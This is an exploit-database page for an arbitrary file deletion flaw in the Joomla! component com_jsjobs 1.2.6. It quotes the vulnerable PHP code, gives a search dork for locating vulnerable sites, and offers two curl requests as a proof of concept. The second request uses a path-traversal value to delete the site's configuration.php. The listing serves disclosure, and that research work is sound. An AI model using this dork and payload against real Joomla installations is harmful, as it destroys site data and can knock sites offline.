Menu

Search for hundreds of thousands of exploits

"Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion"

Author

Exploit author

qw3rTyTy

Platform

Exploit platform

php

Release date

Exploit published date

2019-08-16

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
# Dork: inurl:"index.php?option=com_jsjobs"
# Date: 2019-08-16
# Exploit Author: qw3rTyTy
# Vendor Homepage: https://www.joomsky.com/
# Software Link: https://www.joomsky.com/5/download/1
# Version: 1.2.6
# Tested on: Debian/nginx/joomla 3.9.0

# Vulnerability details:
# This vulnerability is caused when processing custom userfield.

File:		site/models/job.php
Function:	storeJob
Line:		1240
-------------------------------------

  1215	    //custom field code start
  1216	        $customflagforadd = false;
  1217	        $customflagfordelete = false;
  1218	        $custom_field_namesforadd = array();
  1219	        $custom_field_namesfordelete = array();
  1220	        $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);
  1221	        $params = array();
  1222	        $forfordelete = '';
  1223	        
  1224	        foreach ($userfield AS $ufobj) {
  1225	            $vardata = '';
  1226	            if($ufobj->userfieldtype == 'file'){
  1227	                if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){
  1228	                    $vardata = $data[$ufobj->field.'_2'];
  1229	                }else{
  1230	                    $vardata = $_FILES[$ufobj->field]['name'];
  1231	                }
  1232	                $customflagforadd=true;
  1233	                $custom_field_namesforadd[]=$ufobj->field;
  1234	            }else{
  1235	                $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';
  1236	            }
  1237	            if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
  1238	                $customflagfordelete = true;
  1239	                $forfordelete = $ufobj->field;
  1240	                $custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];		//No check.
  1241	            }
  ...snip...
  1323	        // new
  1324	        //removing custom field 
  1325	        if($customflagfordelete == true){
  1326	            foreach ($custom_field_namesfordelete as $key) {
  1327	                $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2);		//!!!
  1328	            }
  1329	        }

File:		site/models/common.php
Function:	uploadOrDeleteFileCustom
Line:		851
-------------------------------------

   748	        $path = $base . '/' . $datadirectory;
   749	        if (!file_exists($path)) { // create user directory
   750	            $this->makeDir($path);
   751	        }
   752	        $isupload = false;
   753	        $path = $path . '/data';
   754	        if (!file_exists($path)) { // create user directory
   755	            $this->makeDir($path);
   756	        }
   757	        if($for == 3 )
   758	            $path = $path . '/jobseeker';
   759	        else
   760	            $path = $path . '/employer';
   761	
   762	        if (!file_exists($path)) { // create user directory
   763	            $this->makeDir($path);
   764	        }
   ...snip...
   843	        } else { // DELETE FILES
   844	            if ($isdeletefile == 1) {
   845	                if($for == 3){
   846	                    $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';
   847	                }else{
   848	                    $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';
   849	                }
   850	                $file = $userpath.$field;
   851	                unlink($file);		//!!!
   852	            }
   853	            return 1;
   854	        }
   855	    }

#####################################
#PoC:
#####################################

# If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.